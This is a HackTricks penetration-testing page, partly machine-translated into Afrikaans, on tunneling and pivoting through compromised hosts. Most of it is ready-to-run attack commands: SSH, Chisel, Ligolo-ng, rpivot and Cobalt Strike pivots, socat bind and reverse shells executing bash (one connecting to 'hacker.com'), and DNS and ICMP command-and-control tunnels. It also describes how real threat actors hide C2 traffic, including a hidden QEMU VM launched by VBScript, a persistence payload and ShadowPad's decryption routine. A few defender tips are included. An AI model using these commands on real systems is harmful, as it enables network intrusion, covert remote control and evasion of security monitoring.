Tunneling and Port Forwarding

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Nmap wenk

Warning

ICMP en SYN scans kan nie deur socks proxies getunnel word nie, dus moet ons disable ping discovery (-Pn) en spesifiseer TCP scans (-sT) sodat dit werk.

Bash

Host -> Jump -> InternalA -> InternalB

# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe

# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &

# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump

SSH

SSH grafiese verbinding (X)

ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X

Local Port2Port

Maak ’n nuwe Port op die SSH Server oop –> Ander port

ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere

ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere

Port2Port

Plaaslike port –> Gekompromiseerde gasheer (SSH) –> Third_box:Port

ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f]  #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>

Port2hostnet (proxychains)

Plaaslike poort –> Gekompromitteerde gasheer (SSH) –> Waar ook al

ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)

Reverse Port Forwarding

Dit is nuttig om reverse shells vanaf internal hosts deur ’n DMZ na jou host te kry:

ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)

VPN-Tunnel

Jy benodig root op beide toestelle (aangesien jy nuwe interfaces gaan skep) en die sshd config moet root login toelaat:
PermitRootLogin yes
PermitTunnel yes

ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ip link set tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ip link set tun0 up #Activate the server side network interface

Skakel forwarding aan op die Server-kant

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Stel ’n nuwe roete aan die kliëntkant in

route add -net 10.0.0.0/16 gw 1.1.1.1

Note

Sekuriteit – Terrapin Attack (CVE-2023-48795) Die 2023 Terrapin downgrade attack kan ’n man-in-the-middle toelaat om die vroeë SSH-handshake te manipuleer en data in te spuit in enige doorgestuurde kanaal ( -L, -R, -D ). Maak seker dat beide kliënt en bediener gepatch is (OpenSSH ≥ 9.6/LibreSSH 6.7) of skakel eksplisiet die kwesbare chacha20-poly1305@openssh.com en *-etm@openssh.com algoritmes in sshd_config/ssh_config uit voordat jy op SSH tunnels staatmaak.

SSHUTTLE

Jy kan tonnel via ssh al die verkeer na ’n subnetwerk deur ’n host stuur.
Byvoorbeeld, om al die verkeer wat na 10.10.10.0/24 gaan deur te stuur.

pip install sshuttle
sshuttle -r user@host 10.10.10.10/24

Verbind met private key

sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode

Meterpreter

Port2Port

Plaaslike port –> gekompromitteerde host (active session) –> Third_box:Port

# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>

SOCKS

background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Nog ’n manier:

background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Cobalt Strike

SOCKS proxy

Maak ’n poort oop in die teamserver wat op alle koppelvlakke luister en wat gebruik kan word om die verkeer deur die beacon te lei.

beacon> socks 1080
[+] started SOCKS4a server on: 1080

# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25

rPort2Port

Warning

In hierdie geval is die port is opened in the beacon host, nie in die Team Server nie, en die verkeer word na die Team Server gestuur en van daar na die aangeduide host:port

rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]

Neem kennis:

  • Beacon’s reverse port forward is ontwerp om tunnel traffic to the Team Server, not for relaying between individual machines.
  • Verkeer word tunneled within Beacon’s C2 traffic, insluitend P2P links.
  • Admin privileges are not required om reverse port forwards op high ports te skep.

rPort2Port local

Warning

In hierdie geval word die port is opened in the beacon host, nie in die Team Server nie, en die traffic is sent to the Cobalt Strike client (nie na die Team Server nie) en van daar na die aangeduide host:port

rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]

reGeorg

https://github.com/sensepost/reGeorg

Jy moet ’n web-lêer-tonnel oplaai: ashx|aspx|js|jsp|php|php|jsp

python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

Chisel

Jy kan dit aflaai vanaf die releases-bladsy van https://github.com/jpillora/chisel
Jy moet die same version for client and server gebruik

socks

./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)

./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker

Port forwarding

./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim

Ligolo-ng

https://github.com/nicocha30/ligolo-ng

Gebruik dieselfde weergawe vir agent en proxy

Tunneling

# Start proxy server and automatically generate self-signed TLS certificates -- Attacker
sudo ./proxy -selfcert
# Create an interface named "ligolo" -- Attacker
interface_create --name "ligolo"
# Print the currently used certificate fingerprint -- Attacker
certificate_fingerprint
# Start the agent with certification validation -- Victim
./agent -connect <ip_proxy>:11601 -v -accept-fingerprint <fingerprint>
# Select the agent -- Attacker
session
1
# Start the tunnel on the proxy server -- Attacker
tunnel_start --tun "ligolo"
# Display the agent's network configuration -- Attacker
ifconfig
# Create a route to the agent's specified network -- Attacker
interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_agent>
# Display the tun interfaces -- Attacker
interface_list

Agent-bind en -luister

# Establish a tunnel from the proxy server to the agent
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
# Display the currently running listeners on the agent -- Attacker
listener_list

Toegang tot die agent se lokale poorte

# Establish a tunnel from the proxy server to the agent
# Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker
interface_add_route --name "ligolo" --route 240.0.0.1/32

Rpivot

https://github.com/klsecservices/rpivot

Reverse tunnel. Die tonnel word deur die slagoffer begin.
’n socks4 proxy word geskep op 127.0.0.1:1080

attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999

Pivot deur NTLM proxy

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Socat

https://github.com/andrew-d/static-binaries

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Port2Port

socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &

Port2Port deur socks

socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

Meterpreter deur SSL Socat

#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333

victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter

Jy kan ’n non-authenticated proxy omseil deur hierdie reël uit te voer in plaas van die laaste een in die slagoffer se konsole:

OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5

https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/

SSL Socat Tunnel

/bin/sh console

Skep sertifikate aan beide kante: Client en Server

# Execute these commands on both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem

attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt

Remote Port2Port

Koppel die plaaslike SSH-poort (22) aan die 443-poort van die attacker host

attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim

Plink.exe

Dit is soos ’n console-weergawe van PuTTY (die opsies is baie soortgelyk aan ’n ssh client).

Aangesien hierdie binary in die victim uitgevoer sal word en dit ’n ssh client is, moet ons ons ssh service en port oopmaak sodat ons ’n reverse connection kan hê. Dan, om slegs ’n locally accessible port na ’n port op ons machine te forward:

echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090

Windows netsh

Port2Port

Jy moet ’n local admin wees (vir enige port)

netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444

SocksOverRDP & Proxifier

Jy moet RDP-toegang tot die stelsel hê.
Laai af:

  1. SocksOverRDP x64 Binaries - Hierdie hulpmiddel gebruik Dynamic Virtual Channels (DVC) van die Remote Desktop Service-funksie van Windows. DVC is verantwoordelik vir tunneling packets over the RDP connection.
  2. Proxifier Portable Binary

Op jou kliëntrekenaar laai SocksOverRDP-Plugin.dll soos volg:

# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll

Nou kan ons verbinding maak met die victim oor RDP met behulp van mstsc.exe, en ons behoort ’n prompt te ontvang wat sê dat die SocksOverRDP plugin is enabled, en dit sal luister op 127.0.0.1:1080.

Verbind via RDP en upload & execute op die victim-masjien die SocksOverRDP-Server.exe binary:

C:\SocksOverRDP-x64> SocksOverRDP-Server.exe

Bevestig nou op jou masjien (aanvaller) dat poort 1080 luister:

netstat -antb | findstr 1080

Nou kan jy Proxifier gebruik om die verkeer deur daardie poort te proxy.

Proxify Windows GUI Apps

Jy kan Windows GUI-apps deur ’n proxy laat navigeer deur Proxifier te gebruik.
In Profile -> Proxy Servers voeg die IP en poort van die SOCKS-server by.
In Profile -> Proxification Rules voeg die naam van die program wat jy wil proxify en die verbindings na die IP’s wat jy wil proxify by.

NTLM proxy bypass

Hierbo genoemde hulpmiddel: Rpivot
OpenVPN kan dit ook omseil deur hierdie opsies in die konfigurasielêer te stel:

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

Cntlm

http://cntlm.sourceforge.net/

Dit autentiseer teen ’n proxy en bind ’n port plaaslik wat na die eksterne service wat jy spesifiseer voortgelei word. Dan kan jy die tool van jou keuse deur hierdie port gebruik.
Byvoorbeeld, dit forward port 443

Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443

Nou, as jy byvoorbeeld op die victim die SSH-diens instel om op port 443 te luister, kan jy daarmee verbind via die attacker se port 2222.
Jy kan ook ’n meterpreter gebruik wat met localhost:443 verbind en die attacker luister op port 2222.

YARP

’n reverse proxy geskep deur Microsoft. Jy kan dit hier vind: https://github.com/microsoft/reverse-proxy

DNS Tunneling

Iodine

https://code.kryo.se/iodine/

Root is nodig op beide stelsels om tun adapters te skep en data tussen hulle te tunnel met behulp van DNS queries.

attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2

Die tunnel sal baie stadig wees. Jy kan ’n gekomprimeerde SSH-verbinding deur hierdie tunnel skep deur die volgende te gebruik:

ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

DNSCat2

Download it from here.

Stel ’n C&C-kanaal deur DNS in. Dit benodig nie root privileges nie.

attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com

# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353

In PowerShell

Jy kan dnscat2-powershell gebruik om ’n dnscat2 client in PowerShell te laat loop:

Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd

Port forwarding met dnscat

session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host

Verander proxychains DNS

Proxychains onderskep die gethostbyname libc-oproep en plaas tcp DNS-versoeke deur die socks proxy. By verstek gebruik proxychains die DNS-bediener 4.2.2.2 (hardcoded). Om dit te verander, redigeer die lêer: /usr/lib/proxychains3/proxyresolv en verander die IP. If you are in a Windows environment you could set the IP of the domain controller.

Tonnels in Go

https://github.com/hotnops/gtunnel

Aangepaste DNS TXT / HTTP JSON C2 (AK47C2)

Die Storm-2603 actor het ’n dual-channel C2 (“AK47C2”) geskep wat slegs outbound DNS en plain HTTP POST verkeer misbruik – twee protokolle wat selde op korporatiewe netwerke geblokkeer word.

  1. DNS modus (AK47DNS) • Genereer ’n ewekansige 5-karakter SessionID (bv. H4T14). • Plaas 1 voor taakversoeke of 2 vir resultate en koppel verskillende velde aan mekaar (flags, SessionID, rekenaarnaam). • Elke veld is XOR-versleuteld met die ASCII-sleutel VHBD@H, hex-gekodeer, en met kolletjies aanmekaar geplak – en eindig by die deur die aanvaller beheerde domein:
<1|2><SessionID>.a<SessionID>.<Computer>.update.updatemicfosoft.com

• Versoeke gebruik DnsQuery() vir TXT (en terugval MG) rekords. • Wanneer die reaksie meer as 0xFF bytes is, verdeel die backdoor die data in 63-byte stukkies en voeg die merkers in: s<SessionID>t<TOTAL>p<POS> sodat die C2-bediener dit kan herorden.

  1. HTTP modus (AK47HTTP) • Bou ’n JSON-omhulsel:
{"cmd":"","cmd_id":"","fqdn":"<host>","result":"","type":"task"}

• Die hele blob word XOR-VHBD@H → hex → gestuur as die liggaam van ’n POST / met die header Content-Type: text/plain. • Die antwoord volg dieselfde kodering en die cmd-veld word uitgevoer met cmd.exe /c <command> 2>&1.

Blue Team notas • Kyk vir ongewone TXT queries waarvan die eerste etiket lang hexadesimaal is en altyd op een seldsame domein eindig. • ’n Konstante XOR-sleutel gevolg deur ASCII-hex is maklik om met YARA te vind: 6?56484244?484 (VHBD@H in hex). • Vir HTTP, merk text/plain POST-liggame wat suiwer hex is en ’n veelvoud van twee bytes.

{{#note}} Die hele kanaal pas binne standaard RFC-voldoenende navrae en hou elke sub-domein etiket onder 63 bytes, waardeur dit in die meeste DNS-logboeke gesluier bly. {{#endnote}}

ICMP-tunnelering

Hans

https://github.com/friedrich/hans
https://github.com/albertzak/hanstunnel

Root is nodig op beide stelsels om tun adapters te skep en data tussen hulle te tonnel via ICMP echo-versoeke.

./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100

ptunnel-ng

Laai dit hier af.

# Generate it
sudo ./autogen.sh

# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1

ngrok

ngrok is ’n hulpmiddel om oplossings met een command line na die Internet bloot te stel.
Eksponerings-URI’s lyk soos: UID.ngrok.io

Installasie

  • Skep ’n rekening: https://ngrok.com/signup
  • Kliënt aflaai:
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit

Basiese gebruike

Dokumentasie: https://ngrok.com/docs/getting-started/.

Dit is ook moontlik om authentication en TLS by te voeg, indien nodig.

Tunneling TCP

# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345

Bestande blootstel via HTTP

./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/

Sniffing HTTP calls

Nuttig vir XSS,SSRF,SSTI …
Direk vanaf stdout of in die HTTP-koppelvlak http://127.0.0.1:4040.

Tunneling interne HTTP-diens

./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"

ngrok.yaml eenvoudige konfigurasievoorbeeld

Dit open 3 tonnels:

  • 2 TCP
  • 1 HTTP wat statiese lêers vanaf /tmp/httpbin/ bedien
tunnels:
mytcp:
addr: 4444
proto: tcptunne
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/

Cloudflared (Cloudflare Tunnel)

Cloudflare’s cloudflared daemon kan uitgaande tonnels skep wat lokale TCP/UDP-dienste blootstel sonder om inkomende firewall-reëls te vereis, deur Cloudflare’s edge as die samekoms-punt te gebruik. Dit is baie handig wanneer die uitgaande firewall slegs HTTPS-verkeer toelaat maar inkomende verbindings geblokkeer is.

Vinnige tunnel eenreël

# Expose a local web service listening on 8080
cloudflared tunnel --url http://localhost:8080
# => Generates https://<random>.trycloudflare.com that forwards to 127.0.0.1:8080

SOCKS5 pivot

# Turn the tunnel into a SOCKS5 proxy on port 1080
cloudflared tunnel --url socks5://localhost:1080 --socks5
# Now configure proxychains to use 127.0.0.1:1080

Persistente tunnels met DNS

cloudflared tunnel create mytunnel
cloudflared tunnel route dns mytunnel internal.example.com
# config.yml
Tunnel: <TUNNEL-UUID>
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
url: http://127.0.0.1:8000

Begin die connector:

cloudflared tunnel run mytunnel

Omdat alle verkeer die gasheer verlaat uitgaande oor 443, is Cloudflared tunnels ’n eenvoudige manier om ingress ACLs of NAT-grense te omseil. Wees bewus dat die binary gewoonlik met verhoogde voorregte loop – gebruik containers of die --user flag waar moontlik.

FRP (Fast Reverse Proxy)

frp is ’n aktief-onderhoude Go reverse-proxy wat ondersteuning bied vir TCP, UDP, HTTP/S, SOCKS and P2P NAT-hole-punching. Vanaf v0.53.0 (May 2024) kan dit optree as ’n SSH Tunnel Gateway, sodat ’n teiken-host ’n reverse tunnel kan opstart deur slegs die standaard OpenSSH client te gebruik – geen ekstra binary benodig nie.

Classic reverse TCP tunnel

# Attacker / server
./frps -c frps.toml            # listens on 0.0.0.0:7000

# Victim
./frpc -c frpc.toml            # will expose 127.0.0.1:3389 on frps:5000

# frpc.toml
serverAddr = "attacker_ip"
serverPort = 7000

[[proxies]]
name       = "rdp"
type       = "tcp"
localIP    = "127.0.0.1"
localPort  = 3389
remotePort = 5000

Gebruik die nuwe SSH gateway (geen frpc binary nie)

# On frps (attacker)
sshTunnelGateway.bindPort = 2200   # add to frps.toml
./frps -c frps.toml

# On victim (OpenSSH client only)
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000

Die bogenoemde opdrag publiseer die slagoffer se poort 8080 as attacker_ip:9000 sonder om enige bykomende tooling te ontplooi – ideaal vir living-off-the-land pivoting.

Gekamoefleerde VM-gebaseerde tonnels met QEMU

QEMU se user-mode networking (-netdev user) ondersteun ’n opsie genaamd hostfwd wat ’n TCP/UDP-poort op die host bind en dit na die guest deurstuur*. Wanneer die guest ’n volledige SSH daemon laat loop, gee die hostfwd-regel jou ’n weggooibare SSH jump box wat heeltemal binne ’n efemere VM leef – perfek om C2-verkeer vir EDR te verberg omdat alle kwaadwillige aktiwiteite en lêers in die virtuele skyf bly.

Vinnige one-liner

# Windows victim (no admin rights, no driver install – portable binaries only)
qemu-system-x86_64.exe ^
-m 256M ^
-drive file=tc.qcow2,if=ide ^
-netdev user,id=n0,hostfwd=tcp::2222-:22 ^
-device e1000,netdev=n0 ^
-nographic

• Die opdrag hierbo laai ’n Tiny Core Linux-beeld (tc.qcow2) in RAM. • Poort 2222/tcp op die Windows-host word deursigtig deurgestuur na 22/tcp binne die gas. • Vanuit die aanvaller se oogpunt stel die teiken eenvoudig poort 2222 bloot; enige pakkette wat dit bereik, word hanteer deur die SSH-bediener wat in die VM loop.

Heimlike lansering deur VBScript

' update.vbs – lived in C:\ProgramData\update
Set o = CreateObject("Wscript.Shell")
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0

Die uitvoering van die script met cscript.exe //B update.vbs hou die venster verberg.

Volharding binne die gast-OS

Omdat Tiny Core staatloos is, doen aanvallers gewoonlik:

  1. Plaas ’n payload in /opt/123.out
  2. Voeg by /opt/bootlocal.sh:
while ! ping -c1 45.77.4.101; do sleep 2; done
/opt/123.out
  1. Voeg home/tc en opt by /opt/filetool.lst sodat die payload by afsluiting in mydata.tgz gepak word.

Waarom dit opsporing omseil

• Slegs twee ongetekende uitvoerbare lêers (qemu-system-*.exe) skryf na die skyf; geen drivers of dienste word geïnstalleer. • Sekuriteitsprodukte op die gasheer sien goedaardige loopback-verkeer (die werklike C2 eindig binne die VM). • Geheueskandeerders ontleed nooit die kwaadwillige prosesruimte nie, omdat dit in ’n ander OS woon.

Wenke vir verdedigers

• Waarsku oor onverwagte QEMU/VirtualBox/KVM binaries in gebruikers-skryfbare paaie.
• Blokkeer uitgaande verbindings wat vanaf qemu-system*.exe ontstaan.
• Soek na seldsame luisterende poorte (2222, 10022, …) wat onmiddellik na ’n QEMU-opstart bind.

IIS/HTTP.sys relay nodes via HttpAddUrl (ShadowPad)

Ink Dragon se ShadowPad IIS-module verander elke gekompromitteerde perimeter webbediener in ’n dubbele-doelwit backdoor + relay deur geheime URL-voorvoegsels direk op die HTTP.sys-laag te bind:

  • Config standaardwaardes – as die module se JSON-config waardes weglate, val dit terug op geloofwaardige IIS-standaarde (Server: Microsoft-IIS/10.0, DocumentRoot: C:\inetpub\wwwroot, ErrorPage: C:\inetpub\custerr\en-US\404.htm). Op dié manier word goedaardige verkeer deur IIS beantwoord met die korrekte handelsmerk.
  • Wildcard interception – operateurs verskaf ’n semikolon-geskeide lys van URL-voorvoegsels (wildcards in host + path). Die module roep HttpAddUrl vir elke inskrywing, sodat HTTP.sys versoeke wat ooreenstem na die kwaadwillige hanteraar roeteer voordat die versoek IIS-modules bereik.
  • Encrypted first packet – die eerste twee grepe van die versoekliggaam dra die saadjie vir ’n pasgemaakte 32-bit PRNG. Elke volgende byte word met die gegenereerde keystroom XOR-ed voor protokolparsering:
def decrypt_first_packet(buf):
seed = buf[0] | (buf[1] << 8)
num = seed & 0xFFFFFFFF
out = bytearray(buf)
for i in range(2, len(out)):
hi = (num >> 16) & 0xFFFF
num = (hi * 0x7093915D - num * 0x6EA30000 + 0x06B0F0E3) & 0xFFFFFFFF
out[i] ^= num & 0xFF
return out
  • Relay orchestration – die module handhaaf twee lyste: “servers” (upstream nodes) en “clients” (downstream implants). Inskripsies word verwyder as geen heartbeat binne ~30 sekondes arriveer nie. Wanneer beide lyste nie-leeg is, koppel dit die eerste gesonde server met die eerste gesonde kliënt en pyp eenvoudig bytes tussen hul sockets totdat een kant toe sluit.
  • Debug telemetry – opsionele logboekvoering neem bron-IP, bestemming-IP, en totale deurgevoerde bytes vir elke koppeling op. Ondersoekers het daardie kruimels gebruik om die ShadowPad-mes te herbou wat oor verskeie slagoffers strek.

Ander gereedskap om te kontroleer

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks